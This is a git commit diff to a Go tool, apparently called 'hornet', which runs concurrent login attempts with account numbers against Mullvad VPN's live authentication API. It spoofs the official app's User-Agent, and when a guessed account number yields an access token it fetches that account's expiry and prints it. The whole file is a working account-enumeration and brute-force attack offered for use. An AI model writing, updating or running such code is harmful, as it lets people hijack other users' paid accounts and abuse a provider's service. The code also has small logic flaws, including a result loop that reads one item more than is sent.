Updated to latest Mullvad API

This commit is contained in:
perp 2024-05-24 03:13:43 +01:00
parent dd37bea3bf
commit 5c2d56f315
1 changed files with 101 additions and 23 deletions

124
hornet.go
View File

@ -1,13 +1,15 @@
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"math/rand"
"net/http"
"net/url"
"strings"
"os"
"strconv"
"time"
"github.com/panjf2000/ants"
@ -32,31 +34,55 @@ type Login struct {
Results chan string
}
// API request
type Request struct {
Account string `json:"account_number"`
}
// API error
type Error struct {
Code string `json:"code"`
}
// API response
type Response struct {
Account struct {
Expires string `json:"expires"`
} `json:"account"`
type TokenResponse struct {
AccessToken string `json:"access_token"`
}
type AccountResponse struct {
Expiry string `json:"expiry"`
}
// Attempt a login
func (l *Login) Attempt() {
// GET request
// Create struct
post := Request{
Account: strconv.Itoa(l.Number),
}
// Encode data
data, err := json.Marshal(post)
if err != nil {
l.Results <- ""
return
}
// POST request
req, err := http.NewRequest(
"GET",
fmt.Sprintf("https://api.mullvad.net/www/accounts/%d", l.Number),
nil,
"POST",
"https://api.mullvad.net/auth/v1/token",
bytes.NewBuffer(data),
)
if err != nil {
l.Results <- ""
return
}
// Set headers
req.Header.Set("Host", "api.mullvad.net")
req.Header.Set("User-Agent", "mullvad-app")
req.Header.Set("Content-Type", "application/json")
// Execute request
res, err := l.Client.Do(req)
if err != nil {
@ -72,32 +98,84 @@ func (l *Login) Attempt() {
}
// Store JSON
var response Response
var tokenResponse TokenResponse
var error Error
// Parse JSON
json.Unmarshal(body, &response)
json.Unmarshal(body, &tokenResponse)
json.Unmarshal(body, &error)
// Account found
if response.Account.Expires != "" {
l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, response.Account.Expires)
return
fmt.Fprintf(os.Stderr, "Error: %s\n", error.Code)
// Success
if tokenResponse.AccessToken != "" {
// Create struct
get := Request{
Account: strconv.Itoa(l.Number),
}
encoded_get, err := json.Marshal(get)
if err != nil {
l.Results <- ""
return
}
// GET request
account_req, err := http.NewRequest(
"GET",
"https://api.mullvad.net/accounts/v1/accounts/me",
bytes.NewBuffer(encoded_get),
)
if err != nil {
l.Results <- ""
return
}
// Set headers
account_req.Header.Set("Host", "api.mullvad.net")
account_req.Header.Set("User-Agent", "mullvad-app")
account_req.Header.Set("Content-Type", "application/json")
account_req.Header.Set(
"Authorization",
fmt.Sprintf("Bearer %s", tokenResponse.AccessToken),
)
// Execute request
res, err := l.Client.Do(account_req)
if err != nil {
l.Results <- ""
return
}
// Read body
body, err := io.ReadAll(res.Body)
if err != nil {
l.Results <- ""
return
}
// Store JSON
var account_response AccountResponse
// Parse JSON
json.Unmarshal(body, &account_response)
// Account found
if account_response.Expiry != "" {
l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, account_response.Expiry)
return
}
}
// Error found
if error.Code != "" ||
strings.ContainsAny(string(body), "503 Service Temporarily Unavailable") {
l.Results <- ""
return
}
l.Results <- ""
}
func main() {
// Get job count
jobs := amount
// Half worker amount
// Halve worker amount
if workers == jobs {
workers = workers / 2
} else if workers >= jobs {
@ -105,7 +183,7 @@ func main() {
}
// Results channel, new pool
results := make(chan string)
results := make(chan string, amount)
pool, err := ants.NewPool(workers)
// Handle error
if err != nil {
@ -147,7 +225,7 @@ func main() {
}
// Recieve all results
for r := 1; r <= jobs; r++ {
for r := 0; r <= jobs; r++ {
result := <-results
if result != "" {
fmt.Println(result)